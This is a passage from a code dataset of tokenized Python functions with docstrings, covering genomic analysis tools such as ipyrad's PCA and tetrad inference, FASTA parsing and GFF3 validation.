inh5[\"<STR_LIT>\"][qidx:qidx+self._chunksize]<EOL>res[qidx] = lbview.apply(nworker, *[self, smps, TESTS])<EOL><DEDENT><DEDENT>done = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>curkeys = res.keys()<EOL>finished = [i.ready() for i in res.values()]<EOL>if any(finished):<EOL><INDENT>for ikey in curkeys:<EOL><INDENT>if res[ikey].ready():<EOL><INDENT>if res[ikey].successful():<EOL><INDENT>done += <NUM_LIT:1><EOL>results = res[ikey].get(<NUM_LIT:0>)<EOL>LOGGER.info(\"<STR_LIT:%s>\", results[<NUM_LIT:1>])<EOL>self._insert_to_array(ikey, results) <EOL>del res[ikey]<EOL><DEDENT>else:<EOL><INDENT>raise IPyradWarningExit(\"\"\"<STR_LIT>\"\"\".format(res[ikey].exception()))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>qidx = jobiter.next()<EOL>with h5py.File(self.database.input, '<STR_LIT:r>') as inh5:<EOL><INDENT>smps = inh5[\"<STR_LIT>\"][qidx:qidx+self._chunksize]<EOL><DEDENT>res[qidx] = lbview.apply(nworker, *[self, smps, TESTS])<EOL><DEDENT>except StopIteration:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT>elapsed = datetime.timedelta(seconds=int(time.time()-start))<EOL>if not self.checkpoint.boots:<EOL><INDENT>if not quiet:<EOL><INDENT>progressbar(njobs, done, printstr.format(elapsed), spacer=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not quiet:<EOL><INDENT>progressbar(self.params.nboots, self.checkpoint.boots, <EOL>printstr.format(self.checkpoint.boots, elapsed), <EOL>spacer=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if njobs == done:<EOL><INDENT>break<EOL><DEDENT><DEDENT>self._dump_qmc()<EOL>if not self.checkpoint.boots:<EOL><INDENT>self._run_qmc(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>self._run_qmc(<NUM_LIT:1>)            <EOL><DEDENT>self.checkpoint.arr = <NUM_LIT:0><EOL>", "docstring": "Inference sends slices of jobs to the parallel engines for computing\nand collects the results into the output hdf5 array as they finish.", "id": "f5347:c0:m17"}
{"signature": "def __init__(self, <EOL>data=None, <EOL>pops=None,<EOL>ncomps=<NUM_LIT:10>,<EOL>quiet=True):", "body": "self.quiet = quiet<EOL>self.ncomponents = ncomps<EOL>if isinstance(data, Assembly):<EOL><INDENT>self.assembly = data<EOL>self.pops = data.populations<EOL>try:<EOL><INDENT>self.data = data.outfiles.vcf<EOL><DEDENT>except AttributeError as inst:<EOL><INDENT>raise IPyradError(MISSING_VCF_ERROR)  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.assembly = Assembly(\"<STR_LIT>\", quiet=True)<EOL>self.data = os.path.realpath(data)<EOL>self.pops = {}<EOL><DEDENT>if pops:<EOL><INDENT>if isinstance(pops, dict):<EOL><INDENT>self.pops = {x:(<NUM_LIT:0>, y) for x, y in pops.items()}<EOL><DEDENT>else:<EOL><INDENT>if not os.path.isfile(pops):<EOL><INDENT>raise IPyradError(\"<STR_LIT>\".format(pops))<EOL><DEDENT>mindat = [i.lstrip(\"<STR_LIT:#>\").lstrip().rstrip() for i inopen(pops, '<STR_LIT:r>').readlines() if i.startswith(\"<STR_LIT:#>\")]<EOL>if not mindat:<EOL><INDENT>lines = open(pops, '<STR_LIT:r>').readlines()<EOL>p = set([x.split()[<NUM_LIT:1>].strip() for x in lines])<EOL>with open(pops, '<STR_LIT:a>') as outfile:<EOL><INDENT>outfile.write(\"<STR_LIT>\" + \"<STR_LIT:U+0020>\".join([\"<STR_LIT>\".format(x) for x in p]))<EOL><DEDENT><DEDENT>self.assembly.paramsdict[\"<STR_LIT>\"] = os.path.realpath(pops)<EOL>self.assembly._link_populations()<EOL>self.pops = self.assembly.populations<EOL><DEDENT><DEDENT>tmpdict = {}<EOL>for samp in self.pops:<EOL><INDENT>tmpdict[samp] = self.pops[samp][<NUM_LIT:1>]<EOL><DEDENT>self.pops = tmpdict<EOL>self._load_calldata()<EOL>if not self.pops:<EOL><INDENT>self.pops = {\"<STR_LIT>\":self.samples_vcforder}<EOL><DEDENT>if not self.quiet:<EOL><INDENT>print(\"<STR_LIT>\".format(self.pops))<EOL><DEDENT>if not self.pops:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "ipyrad.analysis Baba Class object.\n\nParameters\n----------\ndata : Assembly object or path to file\n    Either an ipyrad assembly or a  string path to a .vcf file. If\n    it's a string path then you'll probably want to specify pops as\n    well or else all your dots will be the same color.\n\npops : dict or path to file\n    A dictionary specifying the population assignment of each\n    sample. This is optional, since by default if you used a pops\n    file during your assembly the assembly object will include\n    the pops info internally.\nncomps : int\n    The number of PCs to calculate. Probably most people won't care\n    to mess with this, but it's simple enough to make it flexible. \n\nFunctions\n---------\nrun()\n    ...\nplot()\n    ...", "id": "f5349:c0:m0"}
{"signature": "def plot(self, pcs=[<NUM_LIT:1>, <NUM_LIT:2>], ax=None, cmap=None, cdict=None, legend=True, title=None, outfile=None):", "body": "<EOL>pc1 = pcs[<NUM_LIT:0>] - <NUM_LIT:1><EOL>pc2 = pcs[<NUM_LIT:1>] - <NUM_LIT:1><EOL>if pc1 < <NUM_LIT:0> or pc2 > self.ncomponents - <NUM_LIT:1>:<EOL><INDENT>raise IPyradError(\"<STR_LIT>\".format(self.ncomponents))<EOL><DEDENT>allele_counts = self.genotypes.to_n_alt()<EOL>if self.ncomponents > len(self.samples_vcforder):<EOL><INDENT>self.ncomponents = len(self.samples_vcforder)<EOL>print(\"<STR_LIT>\".format(self.ncomponents))<EOL><DEDENT>coords, model = allel.pca(allele_counts, n_components=self.ncomponents, scaler='<STR_LIT>')<EOL>self.pcs = pd.DataFrame(coords,<EOL>index=self.samples_vcforder,<EOL>columns=[\"<STR_LIT>\".format(x) for x in range(<NUM_LIT:1>,self.ncomponents+<NUM_LIT:1>)])<EOL>if isinstance(cmap, str):<EOL><INDENT>try:<EOL><INDENT>cmap = cm.get_cmap(cmap)<EOL><DEDENT>except:<EOL><INDENT>raise IPyradError(\"<STR_LIT>\".format(cmap))<EOL><DEDENT><DEDENT>if not cmap and not cdict:<EOL><INDENT>if not self.quiet:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>cmap = cm.get_cmap('<STR_LIT>')<EOL><DEDENT>if cmap:<EOL><INDENT>if cdict:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>popcolors = cmap(np.arange(len(self.pops))/len(self.pops))<EOL>cdict = {i:j for i, j in zip(self.pops.keys(), popcolors)}<EOL><DEDENT>fig = \"<STR_LIT>\"<EOL>if not ax:<EOL><INDENT>fig = plt.figure(figsize=(<NUM_LIT:6>, <NUM_LIT:5>))<EOL>ax = fig.add_subplot(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)<EOL><DEDENT>x = coords[:, pc1]<EOL>y = coords[:, pc2]<EOL>for pop in self.pops:<EOL><INDENT>if len(self.pops[pop]) > <NUM_LIT:0>:<EOL><INDENT>mask = np.isin(self.samples_vcforder, self.pops[pop])<EOL>ax.plot(x[mask], y[mask], marker='<STR_LIT:o>', linestyle='<STR_LIT:U+0020>', color=cdict[pop], label=pop, markersize=<NUM_LIT:6>, mec='<STR_LIT:k>', mew=<NUM_LIT>)<EOL><DEDENT><DEDENT>ax.set_xlabel('<STR_LIT>' % (pc1+<NUM_LIT:1>, model.explained_variance_ratio_[pc1]*<NUM_LIT:100>))<EOL>ax.set_ylabel('<STR_LIT>' % (pc2+<NUM_LIT:1>, model.explained_variance_ratio_[pc2]*<NUM_LIT:100>))<EOL>if legend:<EOL><INDENT>ax.legend(bbox_to_anchor=(<NUM_LIT:1>, <NUM_LIT:1>), loc='<STR_LIT>')<EOL><DEDENT>if fig:<EOL><INDENT>fig.tight_layout()<EOL><DEDENT>if title:<EOL><INDENT>ax.set_title(title)<EOL><DEDENT>if outfile:<EOL><INDENT>try:<EOL><INDENT>plt.savefig(outfile, format=\"<STR_LIT>\", bbox_inches=\"<STR_LIT>\")<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\".format(outfile))<EOL><DEDENT><DEDENT>return ax<EOL>", "docstring": "Do the PCA and plot it.\n\nParameters\n---------\npcs: list of ints\n...\nax: matplotlib axis\n...\ncmap: matplotlib colormap\n...\ncdict: dictionary mapping pop names to colors\n...\nlegend: boolean, whether or not to show the legend", "id": "f5349:c0:m9"}
{"signature": "def plot_pairwise_dist(self, labels=None, ax=None, cmap=None, cdict=None, metric=\"<STR_LIT>\"):", "body": "allele_counts = self.genotypes.to_n_alt()<EOL>dist = allel.pairwise_distance(allele_counts, metric=metric)<EOL>if not ax:<EOL><INDENT>fig = plt.figure(figsize=(<NUM_LIT:5>, <NUM_LIT:5>))<EOL>ax = fig.add_subplot(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)<EOL><DEDENT>if isinstance(labels, bool):<EOL><INDENT>if labels:<EOL><INDENT>labels = list(self.samples_vcforder)<EOL><DEDENT><DEDENT>elif isinstance(labels, type(None)):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if not len(labels) == len(self.samples_vcforder):<EOL><INDENT>raise IPyradError(LABELS_LENGTH_ERROR.format(len(labels), len(self.samples_vcforder)))<EOL><DEDENT><DEDENT>allel.plot.pairwise_distance(dist, labels=labels, ax=ax, colorbar=False)<EOL>", "docstring": "Plot pairwise distances between all samples\n\nlabels: bool or list\n        by default labels aren't included. If labels == True, then labels are read in\n        from the vcf file. Alternatively, labels can be passed in as a list, should\n        be same length as the number of samples.", "id": "f5349:c0:m10"}
{"signature": "def copy(self):", "body": "cp = copy.deepcopy(self)<EOL>cp.genotypes = allel.GenotypeArray(self.genotypes, copy=True)<EOL>return cp<EOL>", "docstring": "returns a copy of the pca analysis object", "id": "f5349:c0:m11"}
{"signature": "def parse_command_line():", "body": "<EOL>parser = argparse.ArgumentParser(<EOL>formatter_class=argparse.RawDescriptionHelpFormatter,<EOL>epilog=\"\"\"<STR_LIT>\"\"\")<EOL>ipyversion = str(pkg_resources.get_distribution('<STR_LIT>'))<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:version>', <EOL>version=\"<STR_LIT>\"+ipyversion.split()[<NUM_LIT:1>])<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=str, default=None,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar='<STR_LIT>', dest=\"<STR_LIT>\",<EOL>type=str, default=None,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=str, default=\"<STR_LIT:all>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=int, default=<NUM_LIT:0>,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=int, default=<NUM_LIT:0>,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=str, default=None,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT>\", dest='<STR_LIT>', <EOL>type=int, default=<NUM_LIT:1>, <EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT:name>\", dest=\"<STR_LIT:name>\",<EOL>type=str, default=\"<STR_LIT:test>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=str, default=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=str, default=None,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT:-c>\", metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=int, default=<NUM_LIT:0>,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=int, default=None,<EOL>help=\"<STR_LIT>\")    <EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=str, nargs=\"<STR_LIT:?>\", const=\"<STR_LIT:default>\",<EOL>help=\"<STR_LIT>\")<EOL>if len(sys.argv) == <NUM_LIT:1>:<EOL><INDENT>parser.print_help()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>args = parser.parse_args()<EOL>if args.method not in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:all>\"]:<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\"+\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>if not any(x in [\"<STR_LIT>\", \"<STR_LIT>\"] for x in vars(args).keys()):<EOL><INDENT>print(\"\"\"<STR_LIT>\"\"\")<EOL>parser.print_help()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return args<EOL>", "docstring": "Parse CLI args. Only three options now.", "id": "f5350:m0"}
{"signature": "def main():", "body": "<EOL>args = parse_command_line()<EOL>print(HEADER.format(ip.__version__))<EOL>np.random.seed(args.rseed)<EOL>if os.path.exists(ip.__debugflag__):<EOL><INDENT>os.remove(ip.__debugflag__)<EOL><DEDENT>if args.debug:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>ip._debug_on()<EOL><DEDENT>if args.json:<EOL><INDENT>data = ipa.tetrad(name=args.name, workdir=args.workdir, load=True)<EOL>if args.force:<EOL><INDENT>data._refresh()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>newjson = os.path.join(args.workdir, args.name+'<STR_LIT>')<EOL>print(\"<STR_LIT>\".format(args.name))<EOL>if (not os.path.exists(newjson)) or args.force:<EOL><INDENT>if args.force:<EOL><INDENT>ipa.tetrad(name=args.name, <EOL>workdir=args.workdir, <EOL>data=args.seq, <EOL>initarr=False, <EOL>save_invariants=args.invariants,<EOL>cli=True,<EOL>quiet=True)._refresh()<EOL><DEDENT>data = ipa.tetrad(name=args.name, <EOL>workdir=args.workdir, <EOL>method=args.method, <EOL>data=args.seq, <EOL>resolve=args.resolve,<EOL>mapfile=args.map, <EOL>guidetree=args.tree, <EOL>nboots=args.boots, <EOL>nquartets=args.nquartets, <EOL>cli=True,<EOL>save_invariants=args.invariants,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>raise SystemExit(QUARTET_EXISTS.format(args.name, args.workdir, args.workdir, args.name, args.name))<EOL><DEDENT><DEDENT>if args.boots:<EOL><INDENT>data.params.nboots = int(args.boots)<EOL><DEDENT>if args.ipcluster:<EOL><INDENT>ipyclient = ipp.Client(profile=args.ipcluster)<EOL>data._ipcluster[\"<STR_LIT>\"] = len(ipyclient)<EOL><DEDENT>else:<EOL><INDENT>ipyclient = None<EOL>data._ipcluster[\"<STR_LIT>\"] = args.cores if args.cores else detect_cpus()<EOL>data._ipcluster[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>if args.MPI:<EOL><INDENT>data._ipcluster[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>if not args.cores:<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>data = register_ipcluster(data)<EOL><DEDENT>if data.checkpoint.boots:<EOL><INDENT>print(LOADING_MESSAGE.format(<EOL>data.name, data.params.method, data.checkpoint.boots))<EOL><DEDENT>data.run(force=args.force, ipyclient=ipyclient)<EOL>", "docstring": "main function", "id": "f5350:m1"}
{"signature": "def requires():", "body": "with open('<STR_LIT>') as infile:<EOL><INDENT>return infile.read().splitlines()<EOL><DEDENT>", "docstring": "gets packages from requirements.txt", "id": "f5352:m0"}
{"signature": "def query_yes_no(question, default='<STR_LIT:yes>'):", "body": "valid = {'<STR_LIT:yes>': True, '<STR_LIT:y>': True, '<STR_LIT>': True,<EOL>'<STR_LIT>': False, '<STR_LIT:n>': False}<EOL>if default is None:<EOL><INDENT>prompt = '<STR_LIT>'<EOL><DEDENT>elif default == '<STR_LIT:yes>':<EOL><INDENT>prompt = '<STR_LIT>'<EOL><DEDENT>elif default == '<STR_LIT>':<EOL><INDENT>prompt = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % default)<EOL><DEDENT>while True:<EOL><INDENT>sys.stderr.write(question + prompt)<EOL>choice = raw_input().strip().lower()<EOL>if default is not None and choice == '<STR_LIT>':<EOL><INDENT>return valid[default]<EOL><DEDENT>elif choice in valid:<EOL><INDENT>return valid[choice]<EOL><DEDENT>else:<EOL><INDENT>sys.stderr.write('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Ask a yes/no question via raw_input() and return their answer.\n\n    'question' is a string that is presented to the user.\n    'default' is the presumed answer if the user just hits <Enter>.\n        It must be 'yes' (the default), 'no' or None (meaning\n        an answer is required of the user).\n\n    The 'answer' return value is one of 'yes' or 'no'.", "id": "f5356:m0"}
{"signature": "def query_yes_no(question, default='<STR_LIT:yes>'):", "body": "valid = {'<STR_LIT:yes>': True, '<STR_LIT:y>': True, '<STR_LIT>': True,<EOL>'<STR_LIT>': False, '<STR_LIT:n>': False}<EOL>if default is None:<EOL><INDENT>prompt = '<STR_LIT>'<EOL><DEDENT>elif default == '<STR_LIT:yes>':<EOL><INDENT>prompt = '<STR_LIT>'<EOL><DEDENT>elif default == '<STR_LIT>':<EOL><INDENT>prompt = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % default)<EOL><DEDENT>while True:<EOL><INDENT>sys.stderr.write(question + prompt)<EOL>choice = raw_input().strip().lower()<EOL>if default is not None and choice == '<STR_LIT>':<EOL><INDENT>return valid[default]<EOL><DEDENT>elif choice in valid:<EOL><INDENT>return valid[choice]<EOL><DEDENT>else:<EOL><INDENT>sys.stderr.write('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Ask a yes/no question via raw_input() and return their answer.\n\n    'question' is a string that is presented to the user.\n    'default' is the presumed answer if the user just hits <Enter>.\n        It must be 'yes' (the default), 'no' or None (meaning\n        an answer is required of the user).\n\n    The 'answer' return value is one of 'yes' or 'no'.", "id": "f5358:m0"}
{"signature": "def fasta_file_to_dict(fasta_file, id=True, header=False, seq=False):", "body": "fasta_file_f = fasta_file<EOL>if isinstance(fasta_file, str):<EOL><INDENT>fasta_file_f = open(fasta_file, '<STR_LIT:rb>')<EOL><DEDENT>fasta_dict = OrderedDict()<EOL>keys = ['<STR_LIT:id>', '<STR_LIT>', '<STR_LIT>']<EOL>flags = dict([('<STR_LIT:id>', id), ('<STR_LIT>', header), ('<STR_LIT>', seq)])<EOL>entry = dict([('<STR_LIT:id>', '<STR_LIT>'), ('<STR_LIT>', '<STR_LIT>'), ('<STR_LIT>', '<STR_LIT>')])<EOL>count = <NUM_LIT:0><EOL>line_num = <NUM_LIT:0><EOL>for line in fasta_file_f:<EOL><INDENT>line = line.strip()<EOL>if line and line[<NUM_LIT:0>] == '<STR_LIT:>>':<EOL><INDENT>count += <NUM_LIT:1><EOL>key = '<STR_LIT>'.join([entry[i] for i in keys if flags[i]])<EOL>if key: <EOL><INDENT>if key in fasta_dict: <EOL><INDENT>logger.warning('<STR_LIT>', fasta_file_f.name, line_num, '<STR_LIT>'.join([i for i in keys if flags[i]]), key[:<NUM_LIT>] + (key[<NUM_LIT>:] and '<STR_LIT:..>'), entry['<STR_LIT:id>'])<EOL><DEDENT>entry['<STR_LIT>'] = '<STR_LIT>'.join(entry['<STR_LIT>'])<EOL>fasta_dict[key] = entry<EOL>if id:<EOL><INDENT>unescaped_id = unquote(entry['<STR_LIT:id>'])<EOL>if id != unescaped_id:<EOL><INDENT>key = '<STR_LIT>'.join([unescaped_id] + [entry[i] for i in keys if i != '<STR_LIT:id>' and flags[i]])<EOL>entry['<STR_LIT>'] = unescaped_id<EOL>fasta_dict[key] = entry<EOL><DEDENT><DEDENT>entry = dict()<EOL><DEDENT>entry['<STR_LIT>'] = line<EOL>entry['<STR_LIT:id>'] = line.split()[<NUM_LIT:0>][<NUM_LIT:1>:]<EOL>entry['<STR_LIT>'] = []<EOL><DEDENT>else:<EOL><INDENT>entry['<STR_LIT>'].append(line.upper())<EOL><DEDENT>line_num += <NUM_LIT:1><EOL><DEDENT>if isinstance(fasta_file, str):<EOL><INDENT>fasta_file_f.close()<EOL><DEDENT>key = '<STR_LIT>'.join([entry[i] for i in keys if flags[i]])<EOL>if key: <EOL><INDENT>if key in fasta_dict:<EOL><INDENT>logger.warning('<STR_LIT>', fasta_file_f.name, line_num, '<STR_LIT>'.join([i for i in keys if flags[i]]), key[:<NUM_LIT>] + (key[<NUM_LIT>:] and '<STR_LIT:..>'), entry['<STR_LIT:id>'])<EOL><DEDENT>entry['<STR_LIT>'] = '<STR_LIT>'.join(entry['<STR_LIT>'])<EOL>fasta_dict[key] = entry<EOL>if id:<EOL><INDENT>unescaped_id = unquote(entry['<STR_LIT:id>'])<EOL>if id != unescaped_id:<EOL><INDENT>key = '<STR_LIT>'.join([unescaped_id] + [entry[i] for i in keys if i != '<STR_LIT:id>' and flags[i]])<EOL>entry['<STR_LIT>'] = unescaped_id<EOL>fasta_dict[key] = entry<EOL><DEDENT><DEDENT><DEDENT>return fasta_dict, count<EOL>", "docstring": "Returns a dict from a fasta file and the number of sequences as the second return value.\n    fasta_file can be a string path or a file object.\n    The key of fasta_dict can be set using the keyword arguments and\n    results in a combination of id, header, sequence, in that order. joined with '||'. (default: id)\n    Duplicate keys are checked and a warning is logged if found.\n    The value of fasta_dict is a python dict with 3 keys: header, id and seq\n\n    Changelog:\n    2014/11/17:\n    * Added support for url escaped id", "id": "f5359:m2"}
{"signature": "def fasta_dict_to_file(fasta_dict, fasta_file, line_char_limit=None):", "body": "fasta_fp = fasta_file<EOL>if isinstance(fasta_file, str):<EOL><INDENT>fasta_fp = open(fasta_file, '<STR_LIT:wb>')<EOL><DEDENT>for key in fasta_dict:<EOL><INDENT>seq = fasta_dict[key]['<STR_LIT>']<EOL>if line_char_limit:<EOL><INDENT>seq = '<STR_LIT:\\n>'.join([seq[i:i+line_char_limit] for i in range(<NUM_LIT:0>, len(seq), line_char_limit)])<EOL><DEDENT>fasta_fp.write(u'<STR_LIT>'.format(fasta_dict[key]['<STR_LIT>'], seq))<EOL><DEDENT>", "docstring": "Write fasta_dict to fasta_file\n\n    :param fasta_dict: returned by fasta_file_to_dict\n    :param fasta_file: output file can be a string path or a file object\n    :param line_char_limit: None = no limit (default)\n    :return: None", "id": "f5359:m3"}
{"signature": "def add_line_error(self, line_data, error_info, log_level=logging.ERROR):", "body": "if not error_info: return<EOL>try:<EOL><INDENT>line_data['<STR_LIT>'].append(error_info)<EOL><DEDENT>except KeyError:<EOL><INDENT>line_data['<STR_LIT>'] = [error_info]<EOL><DEDENT>except TypeError: <EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>self.logger.log(log_level, Gff3.error_format.format(current_line_num=line_data['<STR_LIT>'] + <NUM_LIT:1>, error_type=error_info['<STR_LIT>'], message=error_info['<STR_LIT:message>'], line=line_data['<STR_LIT>'].rstrip()))<EOL><DEDENT>except AttributeError: <EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Helper function to record and log an error message\n\n        :param line_data: dict\n        :param error_info: dict\n        :param logger:\n        :param log_level: int\n        :return:", "id": "f5359:c0:m1"}
{"signature": "def check_parent_boundary(self):", "body": "for line in self.lines:<EOL><INDENT>for parent_feature in line['<STR_LIT>']:<EOL><INDENT>ok = False<EOL>for parent_line in parent_feature:<EOL><INDENT>if parent_line['<STR_LIT:start>'] <= line['<STR_LIT:start>'] and line['<STR_LIT:end>'] <= parent_line['<STR_LIT:end>']:<EOL><INDENT>ok = True<EOL>break<EOL><DEDENT><DEDENT>if not ok:<EOL><INDENT>self.add_line_error(line, {'<STR_LIT:message>': '<STR_LIT>'.format(<EOL>parent_feature[<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT:U+002C>'.join(['<STR_LIT>'.format(line['<STR_LIT>'], line['<STR_LIT:start>'], line['<STR_LIT:end>']) for line in parent_feature])<EOL>), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "checks whether child features are within the coordinate boundaries of parent features\n\n:return:", "id": "f5359:c0:m3"}
{"signature": "def check_phase(self):", "body": "plus_minus = set(['<STR_LIT:+>', '<STR_LIT:->'])<EOL>for k, g in groupby(sorted([line for line in self.lines if  line['<STR_LIT>'] == '<STR_LIT>' and line['<STR_LIT:type>'] == '<STR_LIT>' and '<STR_LIT>' in line['<STR_LIT>']], key=lambda x: x['<STR_LIT>']['<STR_LIT>']), key=lambda x: x['<STR_LIT>']['<STR_LIT>']):<EOL><INDENT>cds_list = list(g)<EOL>strand_set = list(set([line['<STR_LIT>'] for line in cds_list]))<EOL>if len(strand_set) != <NUM_LIT:1>:<EOL><INDENT>for line in cds_list:<EOL><INDENT>self.add_line_error(line, {'<STR_LIT:message>': '<STR_LIT>'.format(k), '<STR_LIT>': '<STR_LIT>'})<EOL><DEDENT>continue<EOL><DEDENT>if len(cds_list) == <NUM_LIT:1>:<EOL><INDENT>if cds_list[<NUM_LIT:0>]['<STR_LIT>'] != <NUM_LIT:0>:<EOL><INDENT>self.add_line_error(cds_list[<NUM_LIT:0>], {'<STR_LIT:message>': '<STR_LIT>'.format(cds_list[<NUM_LIT:0>]['<STR_LIT>'], <NUM_LIT:0>), '<STR_LIT>': '<STR_LIT>'})<EOL><DEDENT>continue<EOL><DEDENT>strand = strand_set[<NUM_LIT:0>]<EOL>if strand not in plus_minus:<EOL><INDENT>continue<EOL><DEDENT>if strand == '<STR_LIT:->':<EOL><INDENT>sorted_cds_list = sorted(cds_list, key=lambda x: x['<STR_LIT:end>'], reverse=True)<EOL><DEDENT>else:<EOL><INDENT>sorted_cds_list = sorted(cds_list, key=lambda x: x['<STR_LIT:start>'])<EOL><DEDENT>phase = <NUM_LIT:0><EOL>for line in sorted_cds_list:<EOL><INDENT>if line['<STR_LIT>'] != phase:<EOL><INDENT>self.add_line_error(line, {'<STR_LIT:message>': '<STR_LIT>'.format(line['<STR_LIT>'], phase), '<STR_LIT>': '<STR_LIT>'})<EOL><DEDENT>phase = (<NUM_LIT:3> - ((line['<STR_LIT:end>'] - line['<STR_LIT:start>'] + <NUM_LIT:1> - phase) % <NUM_LIT:3>)) % <NUM_LIT:3><EOL><DEDENT><DEDENT>", "docstring": "1. get a list of CDS with the same parent\n2. sort according to strand\n3. calculate and validate phase", "id": "f5359:c0:m4"}
{"signature": "def check_reference(self, sequence_region=False, fasta_embedded=False, fasta_external=False, check_bounds=True, check_n=True, allowed_num_of_n=<NUM_LIT:0>, feature_types=('<STR_LIT>',)):", "body": "<EOL>error_lines = set()<EOL>if not self.lines:<EOL><INDENT>self.logger.debug('<STR_LIT>')<EOL>return error_lines<EOL><DEDENT>check_n_feature_types = set(feature_types)<EOL>if len(check_n_feature_types) == <NUM_LIT:0>:<EOL><INDENT>check_n_feature_types.add('<STR_LIT>')<EOL><DEDENT>n_segments_finditer = re.compile(r'<STR_LIT>').finditer<EOL>check_all_sources = True<EOL>if sequence_region or fasta_embedded or fasta_external:<EOL><INDENT>check_all_sources = False<EOL><DEDENT>start_end_error_locations = set(('<STR_LIT:start>', '<STR_LIT:end>', '<STR_LIT>'))<EOL>valid_line_data_seqid = [(line_data, unquote(line_data['<STR_LIT>'])) for line_data in self.lines if line_data['<STR_LIT>'] == '<STR_LIT>' and line_data['<STR_LIT>'] != '<STR_LIT:.>' and (not line_data['<STR_LIT>'] or not [error_info for error_info in line_data['<STR_LIT>'] if '<STR_LIT:location>' in error_info and error_info['<STR_LIT:location>'] in start_end_error_locations])]<EOL>checked_at_least_one_source = False<EOL>valid_sequence_regions = dict([(unquote(line_data['<STR_LIT>']), line_data) for line_data in self.lines if line_data['<STR_LIT>'] == '<STR_LIT>' and not line_data['<STR_LIT>']])<EOL>unresolved_seqid = set()<EOL>if (check_all_sources or sequence_region) and valid_sequence_regions:<EOL><INDENT>checked_at_least_one_source = True<EOL>for line_data, seqid in valid_line_data_seqid:<EOL><INDENT>if seqid not in valid_sequence_regions and seqid not in unresolved_seqid:<EOL><INDENT>unresolved_seqid.add(seqid)<EOL>error_lines.add(line_data['<STR_LIT>'])<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': u'<STR_LIT>'.format(<EOL>seqid), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL>continue<EOL><DEDENT>if line_data['<STR_LIT:start>'] < 